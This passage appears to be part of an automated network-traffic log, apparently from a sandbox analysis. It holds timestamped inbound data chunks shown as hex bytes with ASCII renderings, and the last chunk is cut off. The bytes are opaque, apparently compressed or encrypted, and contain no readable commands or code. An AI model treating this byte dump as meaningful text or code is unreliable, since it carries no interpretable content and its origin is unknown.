2021-10-12 00:46:29 UTC	3701	IN	Data Raw: 36 a1 df ba 69 5a 71 cb ba e8 fd 2d 2e 1b 5b 8a 57 4d 6d 64 a2 5f 8d 69 2d 45 1a 95 51 ea 7f 4b 52 3c 09 92 33 e5 a9 ef 2a 0c 38 ae 1b 82 89 96 bd 91 74 ad 53 fd 6f e9 b0 ee b9 73 0a 27 80 d1 6b ed 3a c9 27 b9 cf 54 24 2f 58 46 d1 41 ab 66 01 c4 31 af aa 89 fc 07 8f e8 73 9b b1 76 2f 5d c7 64 36 2c f4 21 c1 82 b9 d4 1c 0c 56 f7 18 4c 9c 83 4b 7e c9 c2 c0 ca e8 7c e0 6e e1 63 25 ac 9d 1b c4 1c 3c b7 5b a9 04 9a 4b eb 27 b1 05 08 fe 5e 62 6d e8 cb 47 0f e6 90 7d 13 da 55 52 20 6d e0 d1 52 55 f0 ac f0 3e da 4e d3 c3 a4 6f a7 58 a7 d1 d1 13 06 7b 48 0b 9c 87 26 99 82 c9 bc 7c 2d 76 74 eb 99 f7 0f 34 96 36 03 75 31 6d b1 1f 4d 5e 01 7a bf 4a 2d cb 30 07 a2 74 16 41 b6 e5 9a 45 91 74 0b 39 6c 47 f4 77 74 77 15 c9 0d fe 00 f9 59 8c ee 66 11 95 ab d2 9b 03 cd 90 Data Ascii: 6iZq-.[WMmd_i-EQKR<3*8tSos'k:'T$/XFAf1sv/]d6,!VLK~\|nc%<[K'^bmG}UR mRU>NoX{H&\|-vt46u1mM^zJ-0tAEt9lGwtwYf
2021-10-12 00:46:29 UTC	3717	IN	Data Raw: 0c f6 2b 1d 4b a7 94 4e 49 3f a2 89 cf 7c 05 35 c4 8b 4e db df 1b e3 b8 06 a2 30 b5 02 c8 ae 84 6e d0 79 b4 2a 93 43 52 10 9e 10 7b 85 e4 4b 7b 92 5d 66 76 6d c1 0d 9c e4 8e a7 36 bd 0f 7c 5f 5e 89 88 8c e1 43 7b 9f 03 b5 de 2c 51 d7 db 30 27 3d 3f 47 c8 95 fc 03 72 28 86 9f ed 6d 83 cd 3b 00 49 b9 9a 4c 1e 2e a3 42 09 c7 2f 10 b4 16 03 84 0b 95 62 96 6a 33 b7 65 8a 42 ad d6 7e 02 96 22 1c f0 1d 3e 4c 0b e4 1d dc 43 4f 2d 9b 00 d8 44 18 b1 95 25 98 54 3e 38 b0 e3 40 34 02 9a 4b 15 e2 fb 63 e5 a9 6c 8d 3b e1 1a 8b da 64 b3 9d ba 7c 35 0d 5c 9c 9a c7 e5 db 37 ef 2a d6 80 b5 f5 ff 43 40 8c 7f d6 92 27 6e c8 51 0b 97 fd 1f 02 05 39 8c cf ae 71 29 22 6a e4 2f 87 37 cb 76 c3 2a e2 47 12 f9 14 6c 5a 3e e4 06 d3 2d 42 54 7b 07 31 30 12 7d ce c8 44 f7 5a 71 1c ec Data Ascii: +KNI?\|5N0nyCR{K{]fvm6\|_^C{,Q0'=?Gr(m;IL.B/bj3eB~">LCO-D%T>8@4Kcl;d\|5\7C@'nQ9q)"j/7v*GlZ>-BT{10}DZq
2021-10-12 00:46:29 UTC	3733	IN	Data Raw: 47 70 c6 78 36 91 bc 34 92 de 2c 96 1f 6e 4a d2 e5 44 28 e7 0f 67 6c 38 68 66 c3 1e 45 d1 40 56 c4 65 40 92 c3 e8 a5 0c 74 8c 58 c1 4f e3 c5 79 f8 fc 0d 31 a6 97 f4 9a c0 86 71 de 70 ae 6c 8c 37 75 cb c8 18 f9 84 e1 4b 2c 1f 67 0a 77 7b 81 17 11 34 ec 89 cc 98 ad 18 a2 1c 2c ae 9c 75 4d 88 ee ff de a0 4b 15 8e 7a a1 8f d8 8d d3 88 56 63 b0 89 f2 0f a6 e5 37 7c 80 4a 1c ad 6d e4 9d ff 5d c9 7e 01 a7 05 12 3e d6 82 ca 48 b7 a2 6a 94 ca 7d 8c 94 ca 46 97 68 d9 69 29 ef 6b be b0 8e ae 19 f3 83 90 77 99 3a 39 69 58 fd 26 1e 09 b4 58 14 e1 6d 40 4e 66 de 92 3e 10 49 88 d2 90 24 1d dd 60 a5 7b aa 22 dd 45 43 6c e8 ad a5 ae 30 53 48 1f 44 83 b4 e3 38 75 29 af 9d fb be 9c 2d a0 0e 6e 8c bd 01 59 ce d7 d3 e1 ac 41 b4 fb 4b eb cc 99 ab 2f d6 c3 bc c3 29 b6 06 d2 ca Data Ascii: Gpx64,nJD(gl8hfE@Ve@tXOy1qpl7uK,gw{4,uMKzVc7\|Jm]~>Hj}Fhi)kw:9iX&Xm@Nf>I$`{"ECl0SHD8u)-nYAK/)
2021-10-12 00:46:29 UTC	3749	IN	Data Raw: a3 b7 7d 8d 50 4f 1a f8 46 8b ad 52 58 5f 49 fe 3f 26 dc cb c3 9a 71 79 72 9d 02 08 ab 18 75 49 a6 50 c2 ab 66 ac 49 7a c8 de d4 5f de 99 62 84 8b 43 18 45 25 4b c4 d4 d4 6d 90 b9 fa 11 45 5d 05 78 9b f4 3f b5 47 e4 b2 96 ba 38 cc 61 cf 0c 6a 46 dd 68 3e 64 56 f3 4e db 6f cd 76 d0 27 1b 50 e3 8d 4d 70 5f a3 f3 96 46 9e fd 06 7f ce b9 e2 20 f6 08 da 86 d9 a5 e0 bc 41 d5 2d 1b 85 41 ef c3 18 84 bf 83 35 bc 98 7f 2a 82 85 53 67 e4 f3 34 21 cc 87 5c 80 97 76 bb ba 82 78 f1 8a a6 13 eb ad b8 18 31 c3 f2 24 9b 41 7c ff 77 27 6e cc 26 1d 78 3a 30 4a c0 6c f6 5c 93 e3 bf 99 67 8b 52 af b5 26 a9 50 cf 7b 27 a7 10 51 7f 21 83 2c 2e 63 28 c6 93 a9 b6 67 f4 a1 6a bc c0 b4 b0 3c 41 98 45 f1 b1 73 69 ea 58 23 98 92 90 d4 b1 35 59 20 5b 9b 24 b0 1c d5 0e 47 0c 8d 4b c1 Data Ascii: }POFRX_I?&qyruIPfIz_bCE%KmE]x?G8ajFh>dVNov'PMp_F A-A5*Sg4!\vx1$A\|w'n&x:0Jl\gR&P{'Q!,.c(gj<AEsiX#5Y [$GK
2021-10-12 00:46:29 UTC	3765	IN	Data Raw: 64 0e b7 80 5a cd 75 f3 4b 22 44 65 2b 8c a9 7a f6 fb 31 20 ed 5f b2 b9 8f f3 eb 3f 63 8e 95 c5 7b c9 ae fb 39 8e 45 02 18 20 d2 24 0d c8 6f be b0 c4 1c f0 77 d0 c0 21 71 a9 4c 46 6f f1 92 31 0f 00 01 4a 92 88 14 5f 81 44 a4 ab b4 24 a0 a3 d8 dd f7 53 84 c0 02 70 7d 85 77 78 11 b7 e6 93 ac cd df 0b b2 cb 52 07 ba 3e 9b 6c bb 91 73 b8 7e 96 d9 e8 2b a1 11 75 9d 2b 42 33 f3 9c 32 ae 7b d7 01 52 21 be ca 24 98 5d 31 6a eb 1b d0 92 b4 28 51 89 a5 ca 25 4f d7 06 4d da ab f3 fc 87 dd 65 db d8 c3 e1 1e 49 62 93 6f 9c 65 40 15 a9 37 34 7a cf 07 36 32 ec ab ed 78 23 d0 39 7d 5f 7d 5f 68 22 67 f9 dc 29 4d 34 77 df b1 91 75 4d 75 ec 1a 7b 82 d4 75 15 7a 1c 5f c1 63 0e 0b e2 d8 bc 34 c6 8c 32 6c 7c bc d2 27 f8 26 b6 2f fa ac 36 3e c3 38 45 ba c8 4d bb 76 12 e7 dd 9f Data Ascii: dZuK"De+z1 _?c{9E $ow!qLFo1J_D$Sp}wxR>ls~+u+B32{R!$]1j(Q%OMeIboe@74z62x#9}_}_h"g)M4wuMu{uz_c42l\|'&/6>8EMv
2021-10-12 00:46:29 UTC	3781	IN	Data Raw: 8e 5d ca 27 9b 45 55 ca 0e 0e 5a 26 97 3b 5d 15 a6 8c f2 a8 cb 52 58 c4 8b 72 46 07 d1 24 70 12 e6 68 f9 fa d8 11 77 98 2f ed e1 45 3a ec c2 23 e7 56 93 9e e4 2b 11 6d dc 6c 4c 36 4e 35 15 09 cd 92 5d 08 1c ae d7 54 2c 80 95 e1 cd 91 bb 27 44 71 25 d3 b0 4e 2e 25 30 e7 ad 4c 38 3f 41 01 e9 3d 69 64 e6 36 91 63 9c cb 53 26 f8 4b d5 82 9b 64 4e 93 2f 06 af 44 8e 69 21 14 bb 37 13 7a 4c f8 97 c7 14 57 99 57 1a ee e0 ad 98 da ab 20 bb af a0 c8 1e 9d e6 c1 22 f9 a5 6b e7 22 06 00 36 6c 13 0d b9 fd 88 4e f5 ac b9 d5 46 80 26 78 b6 85 6b c8 e6 1c 4a 26 9a 90 a8 b7 bf 61 5b d6 0b 3e d1 39 d7 33 7c 9b 6e 32 81 67 e4 f9 29 96 3e 01 3b 98 49 0d 01 da c1 30 96 da ce db 87 28 89 b3 ce 2a 1a 65 bd da bb a6 17 63 79 1b 2d 9b 7e 71 4d 79 db 01 30 85 e0 ff 77 05 0c d3 d4 Data Ascii: ]'EUZ&;]RXrF$phw/E:#V+mlL6N5]T,'Dq%N.%0L8?A=id6cS&KdN/Di!7zLWW "k"6lNF&xkJ&a[>93\|n2g)>;I0(*ecy-~qMy0w
2021-10-12 00:46:29 UTC	3797	IN	Data Raw: 17 bf 1c 9a d4 30 c1 36 68 23 10 3e 3a a0 7b cf 0c b1 01 98 a7 98 c1 93 2d 2f bd ef 61 1c 4c ad c9 ce f1 48 bb da 0a 8a 31 22 18 c3 54 67 d1 57 16 7f 89 c7 1c 72 96 01 01 cb 9a b0 e5 53 a8 fb 60 0f ac 1b 88 50 c0 af e9 95 c8 07 f0 96 ab 9b 8b 1c 6f bb 02 39 44 c8 a5 0f bb d5 49 7d ca 5c 52 b9 7a 82 e5 3f b9 c5 ca 9e 2b d8 f5 c4 99 10 30 9f 5a c2 ad 43 46 98 a4 4b 8b 15 c5 68 58 34 e0 c7 91 4e e7 4c d6 2e 8b 39 4b 85 99 85 b5 d9 a6 71 67 f9 b7 b4 5c 64 b6 19 d5 99 e7 a4 ad 66 7a 66 bd 34 df 26 92 10 59 5f 95 00 ab c3 89 e6 a6 99 b6 f3 34 06 3b d0 8f 47 86 a8 1c 2f 3a ca fa 55 ec 63 f3 c2 b9 0e 22 fc a3 1c 26 9d 00 68 5c 14 55 87 c2 50 6c 55 59 1c ca 5e 23 78 be fd 44 d0 40 23 27 e1 7f fe be 3c c1 33 b5 b1 86 81 e0 b6 5f ca 32 ae 41 d3 6a 22 b9 7e 1b c6 5a Data Ascii: 06h#>:{-/aLH1"TgWrS`Po9DI}\Rz?+0ZCFKhX4NL.9Kqg\dfzf4&Y_4;G/:Uc"&h\UPlUY^#xD@#'<3_2Aj"~Z
2021-10-12 00:46:29 UTC	3813	IN	Data Raw: 30 3e ef f6 9f a9 a6 53 ef d1 03 1b db 2f fd d3 34 87 27 04 94 3e b1 bf f3 ce 05 0c 82 9b 6a a8 78 f4 fd 86 6c 0c 0b ab 6f 89 e5 22 d9 d8 8e e4 b4 40 43 9e d4 ef 4e be a5 6f 70 5f bb 13 20 0d dd 4a a8 28 84 3d b5 28 9c e0 a2 39 25 d6 d0 51 8d cd b7 06 dc 67 94 e8 4d 89 c3 50 59 ba 65 5b 93 db e5 e7 fd 0b d7 c7 87 2a 71 7f fe 22 61 f5 94 36 87 09 4a c5 87 a4 7d 9b 08 d9 2f 62 90 f1 29 16 3b 2d 4e f4 61 37 f7 ab 96 7a ce f1 2a 89 55 40 b2 5b 97 f0 40 b6 13 9e 7d 16 64 ab d4 b1 28 86 30 7b 6d bb 2f e5 bc b9 ce 2f 64 aa 24 58 94 60 79 40 2b 90 8c 6c 25 95 6e 69 51 be 1d d0 c3 03 0f c2 27 be 65 5a da de cd fe d5 17 50 f4 a0 2d c7 ed e5 50 32 e6 dd 61 f8 51 9a 59 2e 37 30 cc ae 03 74 ca 6c a6 68 cb 1c c9 0a 7c c7 db a9 22 87 11 b8 80 0e 92 b2 10 0c da a9 bc 93 Data Ascii: 0>S/4'>jxlo"@CNop_ J(=(9%QgMPYe[q"a6J}/b);-Na7zU@[@}d(0{m//d$X`y@+l%niQ'eZP-P2aQY.70tlh\|"
2021-10-12 00:46:29 UTC	3829	IN	Data Raw: 86 29 cd 85 19 81 ac 9e 24 54 2f df bf 42 ce 89 64 28 f2 8f b1 20 0a 3f f2 00 b9 bf 26 29 d9 e9 09 26 ec 1e cd 4c 0d f4 25 8b 02 8f 28 cb f4 bd 9e ce ea 29 79 1b df ba f3 8a ce 81 24 2e 28 ac e9 f4 e5 93 dc 8b ad 66 41 7d 86 49 28 61 de 89 b8 af 92 47 a8 9c 42 a1 37 0a 8b af 6a af ef b1 ce fd c1 e9 a2 87 a5 60 67 a2 5c 2f fd d1 ff 7d 99 3d 38 82 66 b7 bd b6 4e 67 c0 08 9f 91 26 8a cf d9 ee 99 9e fc d9 17 34 27 7f 90 eb c9 5e bc 65 9a e3 70 39 95 b3 2d 84 d9 54 f2 2c 2e a5 e5 96 fe 67 0d f0 83 5a dd 9c 5d ec 08 7b 47 39 55 ae 42 c3 d9 6a fd 15 54 28 ac d8 bc f8 2b a4 82 4b af dd 9b af c2 9b 16 d5 93 79 01 39 91 3d 0d 48 b8 9b fe ad 47 82 15 eb 93 fe 36 2e 3a 14 54 22 43 11 70 6d 89 23 e6 8c f6 df 60 a9 9d 62 7b 61 1a ce ad 99 34 66 82 ee 10 61 f2 3e be 37 Data Ascii: )$T/Bd( ?&)&L%()y$.(fA}I(aGB7j`g\/}=8fNg&4'^ep9-T,.gZ]{G9UBjT(+Ky9=HG6.:T"Cpm#`b{a4fa>7
2021-10-12 00:46:29 UTC	3845	IN	Data Raw: dd 32 fe 85 29 79 a9 94 54 28 f9 87 53 63 66 e7 51 aa d0 6c b7 6a 09 aa 0c 16 11 d6 f5 21 89 45 8e 21 f0 3f 99 49 29 81 9c 65 a4 8c e3 b6 6b be 12 43 c4 b4 ae 0c 9b b5 18 a9 30 c3 44 82 d2 a7 15 f5 c5 fd d4 a3 e2 0a c4 96 37 34 48 02 ba a2 70 79 ee 51 cb 75 8c ed b7 7e bd 40 5f eb a6 fa 6e d1 62 b1 3b 43 64 b5 f6 f7 3b 5f e2 67 d2 c8 e8 8b b0 42 b4 fd 7a 27 f8 e0 c8 fc aa b3 c0 f6 d2 dd 82 f2 cb 7b 51 53 25 6d bd b5 9b 09 22 8f 00 81 bd d6 59 c5 1f 4d 28 c5 17 79 05 29 94 32 45 81 7e 9a 53 ad 2c ab 63 d0 39 a4 5f b0 6b 99 ee 14 64 6e f4 0d 86 8c 08 b7 86 df ab 6c 60 e0 4f d3 17 35 7d 29 40 a0 e9 80 01 04 33 20 fe a4 31 88 fd 70 4b 6f 2c 02 be 08 af 02 e8 5d 66 eb f3 41 dc b4 60 c7 ca 80 57 15 13 70 bf 50 ba 0b 60 ed 7e 67 b7 1e 0b 5f b6 aa a5 6c 09 62 a5 Data Ascii: 2)yT(ScfQlj!E!?I)ekC0D74HpyQu~@_nb;Cd;_gBz'{QS%m"YM(y)2E~S,c9_kdnl`O5})@3 1pKo,]fA`WpP`~g_lb
2021-10-12 00:46:29 UTC	3861	IN	Data Raw: a4 7d a9 c2 4e 78 66 41 2b 5c a9 b7 c2 80 ba d4 46 ac c5 3e 5c 25 da 7c f6 ce 97 58 f6 c2 36 80 bf c0 a4 22 ed 8f 39 a8 50 12 3a 66 a8 de 45 d3 f3 dc b9 87 8e 6a 02 67 b4 80 42 d6 5a c4 f6 65 26 eb 69 5c 50 30 b4 27 df 09 7a 44 dd 41 4b 85 b0 a3 79 7e c4 6d 2c 53 d9 6c 40 f7 ad bb e5 e5 18 a1 0f 8a b5 dd 3c 5e 81 a3 a2 f5 e1 b1 46 aa 1c 48 00 54 8e 2d 66 b9 f3 91 c0 5a 84 05 c3 fb 22 4a 32 3c 02 84 26 14 ee 6e d4 17 06 54 ce 7a 4a 2a 8f d3 45 e8 65 af 4e d7 c4 64 ca c0 70 e4 c3 13 00 75 97 cc 0f f7 64 06 e1 52 7c 46 4e d3 d9 d6 ce c8 12 53 86 12 fd 92 f3 17 24 12 bd c7 65 07 87 6b c0 83 47 01 4d 9e 68 d6 9f 0f 1f f3 69 c1 37 83 f4 38 7d 2d f8 63 df 0e 0d 43 f2 5b bc 6d a2 25 ef ce a1 cc d8 6c 94 9a 35 a0 c8 bf c4 ee fe 2a 7e ad 51 c0 da a5 9f 0f 13 0b 9f Data Ascii: }NxfA+\F>\%\|X6"9P:fEjgBZe&i\P0'zDAKy~m,Sl@<^FHT-fZ"J2<&nTzJEeNdpudR\|FNS$ekGMhi78}-cC[m%l5~Q
2021-10-12 00:46:29 UTC	3877	IN	Data Raw: 5b e8 8a 21 5b f3 c9 f0 8f e6 ff c2 bb dc 70 b2 87 4b d3 ea 50 fb 58 2c e4 6d 37 6e 44 e0 69 f1 dd 12 ca 35 be cf fc 68 c4 b9 d9 b5 3e 07 2b 73 e2 a8 e9 26 6b 70 9d 2c 0d dd 9d e4 b1 35 0a 33 cc 90 e2 76 ab c3 12 0b 36 57 7c 88 b0 7e 66 11 ff 58 81 92 ee a6 fa d0 0a 2f f0 f6 71 4a ab 29 3a dc b8 11 c1 4b f2 c6 08 a2 06 4c c9 d2 ca 53 9d 9b 59 81 d1 d0 19 9b 86 fe ec 4a be e8 0d 2d c6 ee a6 18 64 32 50 6d 46 bf ce 45 9c 61 fa 51 c9 30 68 c5 bc 1f ce 21 99 8f c5 00 3a ec 6e 37 2c 96 f0 20 1d 28 65 77 9a b5 0f 3e b9 38 16 42 c6 77 ae a4 1e 3b b9 e3 4f f0 9b a0 81 7e ab 0e da dd 4d 8a 30 8d 7a fe 00 33 0d a3 e2 f9 71 16 4d c8 42 6b e2 fe d7 a6 88 0b 41 aa 5f ec a4 04 c4 6b eb 7d 03 e4 fa d8 92 07 74 19 d6 83 a3 34 12 c7 3b 17 7e 46 ea b4 49 e9 94 b2 73 e2 93 Data Ascii: [![pKPX,m7nDi5h>+s&kp,53v6W\|~fX/qJ):KLSYJ-d2PmFEaQ0h!:n7, (ew>8Bw;O~M0z3qMBkA_k}t4;~FIs
2021-10-12 00:46:29 UTC	3893	IN	Data Raw: 38 60 da 08 ac 15 51 4e e4 d7 91 7d ce f4 f1 68 55 a9 3a 86 17 6f c2 78 42 14 6c 76 bc b2 2d 87 73 4e 95 a4 d3 6c cf 4f fb 03 2c c0 30 a0 f0 cd 33 9a 31 a0 36 84 70 c3 00 1c fb 91 07 86 e4 22 4d f7 df 43 3c bf ac 22 a8 37 f7 e2 8d 82 62 9d 40 49 3b 09 51 2b 50 ee 45 a5 25 55 15 b6 af a2 70 88 44 4c 75 74 e2 87 fa fc 55 1f e6 70 a2 c1 f4 50 c2 76 8b a8 ec fe 98 e7 31 62 60 7e 25 39 d2 17 d1 74 62 bc 4c 89 c2 d8 09 66 48 79 cf 28 ed 26 7c a8 4f 30 f4 56 48 13 eb 74 de f8 2b d2 3f 66 49 58 01 8a 02 a7 06 53 9d e8 a4 50 99 04 22 be 73 44 af 32 07 ad bd 3b a9 25 6e 2b 86 dd 7f bb 7e 10 9f 29 2b de 14 59 79 76 1b 66 16 17 6c 5b 16 33 c5 5c 19 4e db a9 40 0f 33 97 f4 2c fe c1 d7 33 c7 42 7d 9e c0 1f d3 3e 31 9f 73 a4 8c 4b a4 b3 cc 01 36 ba 79 e6 ac ec 57 83 39 Data Ascii: 8`QN}hU:oxBlv-sNlO,0316p"MC<"7b@I;Q+PE%UpDLutUpPv1b`~%9tbLfHy(&\|O0VHt+?fIXSP"sD2;%n+~)+Yyvfl[3\N@3,3B}>1sK6yW9
2021-10-12 00:46:29 UTC	3909	IN	Data Raw: 04 97 c7 eb 5a 7c a8 92 23 bb 0d 92 5b 80 c8 55 ac f9 63 6f 34 94 aa 21 85 72 c4 e2 4f e6 42 2a d4 3a 85 4f 4e 26 49 89 a0 b5 91 29 33 a3 47 5a a9 95 d9 73 3b 8f d9 d7 bb 05 d0 42 30 4c 15 68 14 1b e0 00 98 b8 96 a2 4e 9d 3f 18 d0 62 fc 48 6c 8c 93 2a 19 68 a0 34 5f 1f b2 25 b3 31 22 56 43 8a 56 26 de 67 53 c0 5b c8 dd a5 fd ca 3e a5 c1 11 77 fb 0e 54 e4 88 b6 a8 e2 b5 be 90 d2 04 84 49 6d 0b cb 72 6b c9 60 ff 8e a4 fe 91 fb d0 c3 39 61 6f 6c 53 26 4c c9 99 26 13 90 00 6e 83 fe 58 35 d9 03 a1 d2 15 bb a4 2d 52 8e e2 a9 29 78 fa 53 4f 57 fd aa e7 25 fc 02 6c 69 59 c0 0d 06 9f 6d d3 31 1d e9 c8 55 6d 69 d0 32 6d 1b a4 1d 41 0a 82 08 58 c6 a8 ba 29 40 19 f2 81 c6 0d 38 d2 9d fc 40 95 8a 53 b0 38 09 ca e5 6a 4b ae 78 17 bd 53 5b 17 0d f7 08 5c ec a6 39 58 1e Data Ascii: Z\|#[Uco4!rOB:ON&I)3GZs;B0LhN?bHlh4_%1"VCV&gS[>wTImrk`9aolS&L&nX5-R)xSOW%liYm1Umi2mAX)@8@S8jKxS[\9X
2021-10-12 00:46:29 UTC	3925	IN	Data Raw: 9f 19 f4 16 71 b7 01 1a 19 db 29 c1 3a fa aa 1c 15 6a 72 9d 38 9d 46 ca 15 7b 35 0c 46 38 9d 82 91 05 8f 2b 03 78 5e a8 ca a1 2e 29 93 6d 97 ac c6 76 7f d2 eb 31 85 88 41 d8 1e cb c6 bd 57 ab 84 c0 11 d4 87 3a 12 79 8c 61 a4 ef 10 1a fa b4 b7 cd 46 02 2c 94 b2 45 b7 97 0d 37 92 12 dd 90 31 48 27 d5 f1 6e e0 ab 00 84 9c ff 99 75 42 4f a4 7a 29 00 04 47 77 0a d7 b2 f5 da d6 d2 10 ed 3b 07 09 fa 07 88 a8 bb 79 3a a2 06 fc bd 06 e1 c1 46 03 78 92 1a c7 97 55 f5 87 bc 4c 76 9c 50 2e ed 64 3e 18 b3 dd 71 91 fa f4 3c 77 57 d9 4b 47 90 ad 57 f8 a2 eb cc fe 06 83 af 1c 53 5e f2 a4 57 f6 7d b5 dd 70 ea fa ef 85 03 78 a4 31 69 5c 86 e3 da 2d 9e 42 0d a4 ce 59 da c1 98 74 bb f7 44 45 3f bb b2 89 7f 79 d1 65 f3 78 3a 2a 02 e7 ec 5c 37 0c fa c4 ba dc 93 ff 07 3d 7d be Data Ascii: q):jr8F{5F8+x^.)mv1AW:yaF,E71H'nuBOz)Gw;y:FxULvP.d>q<wWKGWS^W}px1i\-BYtDE?yex:*\7=}
2021-10-12 00:46:29 UTC	3941	IN	Data Raw: 82 01 69 75 00 e0 0a cb 4a 52 95 fa 87 f4 79 d1 aa 4a f6 07 ea 40 28 dd 9b 3a 19 ad f8 f2 be 06 fb c8 67 dc 2f be 75 40 5a 30 05 33 e5 61 be 24 54 92 05 77 83 96 0e 74 fd 5a c6 09 6b bc b8 ad 3b 2f 1f 3d a8 8d 48 ee 47 88 01 87 95 0d 2d 5f 6f ad 79 e4 23 44 ad ab ee 1d 1f 99 27 21 1e 7c b0 f6 33 73 b3 60 29 6c a5 a8 67 1b 9d 2c 9e 40 05 4e 73 27 53 c1 02 f6 f0 85 86 fd 30 ea 41 a9 b2 7f 95 78 2d 48 bc e5 7f 3b 90 0c 86 d2 af 4c e9 5b 61 c4 d6 0e e8 98 40 f5 f5 36 f5 cb c0 47 f4 15 d7 49 c1 94 b4 d8 46 44 80 c3 32 64 b6 de b3 12 c5 7f 45 89 ec f2 c8 20 fe 35 cb 7e 1b a2 63 4e 97 8a ef 98 5c f6 dd b5 1e 24 12 20 73 db 47 c8 5f 3d 9f 08 b2 25 d3 b9 99 84 f1 53 ed 2a 43 fa 10 94 84 7e 08 79 d1 03 46 9b f6 25 e9 9e ea 91 49 6b e7 07 14 57 fa 10 2e a8 bd e1 b6 Data Ascii: iuJRyJ@(:g/u@Z03a$TwtZk;/=HG-_oy#D'!\|3s`)lg,@Ns'S0Ax-H;L[a@6GIFD2dE 5~cN\$ sG_=%S*C~yF%IkW.
2021-10-12 00:46:29 UTC	3957	IN	Data Raw: 22 13 f0 1b 74 89 ba 5d f9 67 92 39 a8 dd 16 d3 a0 ce 04 24 c5 3e 78 6a b4 89 46 65 c4 87 4d 1d fb 4d 90 6b 5b 29 75 e0 4d 86 7b e0 97 96 e6 af 2b 2b 90 94 fb 15 c8 9e 64 76 12 0c d9 79 b8 e6 dd fb f0 47 48 3f 23 27 0b 83 49 86 92 59 4a 1f 3d 27 a8 6f 95 e0 3d d6 44 3b f8 c4 34 57 4a 6e 5c 13 a2 76 02 d7 0a bc 0a c4 5b c1 eb 7a 4a 59 fd 13 0c 72 86 fc c7 79 eb 0b 17 86 d1 a0 25 87 d0 46 d6 6b f9 d0 61 da ee b4 50 f8 10 3c 43 46 bb 2c 3c b7 10 1c 66 69 e3 d8 54 b7 08 96 6d 15 92 da a8 81 b1 b0 79 b1 1c e7 1b 85 73 b4 c8 2a 55 cd 0d b1 c3 85 6b fd 12 5e c5 4a 3d 9a 68 17 eb 04 9a 10 9a be 27 ef 2f 96 df 3c 82 c0 40 34 49 c7 bf 36 fc c3 2d f1 2f 68 cd 7e 33 b3 4f 61 0b 1e d9 7c 05 1b cb e3 56 68 84 49 f0 bf 97 5b 9c de 48 dc fc b6 88 71 8b c2 1f 82 86 96 06 Data Ascii: "t]g9$>xjFeMMk[)uM{++dvyGH?#'IYJ='o=D;4WJn\v[zJYry%FkaP<CF,<fiTmys*Uk^J=h'/<@4I6-/h~3Oa\|VhI[Hq
2021-10-12 00:46:29 UTC	3973	IN	Data Raw: a3 fd d7 94 7f 8d 20 77 d2 6f 45 9f 64 36 6f f8 ba 1c 4a 26 5f 12 1c d8 44 63 8c c2 6b 35 3d 71 45 fa a4 ba c9 d0 7d 9d 23 f8 5a 0c 04 51 cf 2a 6f b2 18 41 bc cc 0e 4c 3b 63 be 0b 48 f3 ff 8f 51 67 9f 05 30 f6 fb fe 5a 7a 4f 3b 6b 62 fa 9b d5 00 f5 33 41 c4 84 6c 7f 7c 11 b0 5c 72 04 b7 11 58 3d c7 74 d0 a1 e9 11 69 19 1d 8c 51 6d 9a 78 46 4c e9 a5 53 97 8f 11 ef d1 99 3a 01 ed b7 06 c5 38 6c a7 5e f9 b8 bf af 77 55 f8 9c 11 16 4c ca 6f 65 ae 05 6f 52 2e a3 1e 42 b9 34 cc 4e 07 bd 75 c6 5a 3a d4 53 48 f7 62 9e 81 81 18 3f 61 7d e5 de 12 a2 42 f8 fd c0 b2 be 43 d1 21 a4 38 96 7e 4c 64 62 de a3 40 11 33 a0 b5 78 79 ea 69 72 6c 9e 04 ba 54 55 74 f0 6c fa 77 77 1b 78 3e a0 74 47 7b e0 72 74 e1 0b 90 05 3f 02 1a 60 92 98 83 be d3 30 3d 2a de e4 82 38 92 f2 b7 Data Ascii: woEd6oJ&_Dck5=qE}#ZQoAL;cHQg0ZzO;kb3Al\|\rX=tiQmxFLS:8l^wULoeoR.B4NuZ:SHb?a}BC!8~Ldb@3xyirlTUtlwwx>tG{rt?`0=8
2021-10-12 00:46:29 UTC	3989	IN	Data Raw: 67 bf 35 7c 07 86 20 40 a8 90 61 8a 74 8c 1f 4a 6b 77 3f 9f 7c 28 cc dc b6 51 39 9f c8 8a de e4 03 4c f8 2c a6 1c 7d cd e1 01 6a 07 21 5a c0 0d 14 96 f8 ec f2 0c 7d 4b b1 0a dd bb 88 ba 7c d6 a0 6e 4c 64 b9 58 98 79 10 37 a6 cf 46 fb dc 64 a6 52 3d e3 0f f9 b3 ba ce 62 e6 2f 63 c8 23 0e 2c c8 9f 5f 85 38 5f df 7e 53 ac 84 bc 30 5e 2b 30 8a e1 c7 23 4b 5d f7 c1 51 84 4d 41 b4 0c d7 dd 7f 50 b1 ec de 8a 88 58 22 d0 97 6a 30 6c 38 47 9c 22 6f c5 fe 26 54 21 db 26 cb dd 37 c4 ff 53 e9 0f 7a 2d 8e ed a8 b2 a2 a3 f7 92 4c 2b 74 f7 b0 34 8f 91 b7 a7 89 74 f6 0c c0 0a 12 6d 23 15 84 53 87 74 b3 70 41 c9 b8 2a a5 60 93 67 37 ce e5 02 e1 50 88 bf d3 98 2b a5 c7 35 b5 07 1a 39 e0 49 50 d9 d1 30 79 f6 a3 37 9a 01 33 66 27 19 0e 04 0b 39 d2 d6 fc 82 65 8f 58 71 f8 22 Data Ascii: g5\| @atJkw?\|(Q9L,}j!Z}K\|nLdXy7FdR=b/c#,_8_~S0^+0#K]QMAPX"j0l8G"o&T!&7Sz-L+t4tm#StpA*`g7P+59IP0y73f'9eXq"
2021-10-12 00:46:29 UTC	4005	IN	Data Raw: fc 4e 03 a3 01 f8 db f9 51 3e b2 85 6d 35 99 58 90 c4 9f de 6d 46 86 8d ec 53 3a 95 32 fb 3c 6b 64 13 bc 08 7d a6 7d 65 72 67 b6 ea 00 a9 e3 f3 fa bd 18 5d c6 fe d7 90 62 6e c2 95 90 59 c5 12 5f 65 5c 2f 92 07 ce 0a 81 cb a5 9b df 08 19 e0 ab 45 70 bc b0 b7 58 b9 83 cc 41 a7 ad fb 77 f3 9b 23 9a b9 77 90 d4 52 78 af 04 91 f8 44 c8 6d 71 89 27 b2 8d 09 35 10 44 df bb f3 ae 6f fe 1d 12 67 17 89 34 f7 87 ed b2 05 26 64 71 35 97 00 94 af 9c 37 fa 26 d4 93 a9 30 9c 5c 0b d7 5b bc 7a fe b7 2e f2 03 eb f8 bf 39 d9 5d be 45 d1 34 82 e1 9f c0 ad c4 13 f4 92 c8 10 9a fe 79 18 18 78 8c 96 6e 9a 98 dd eb a3 31 e1 6b f5 55 e1 11 3a e2 8a 16 ed 64 88 d0 df 8c ea 19 87 9c 76 b4 d8 ce 51 7e 35 92 97 4b 6b 77 b6 b5 c7 4a 1e 3d 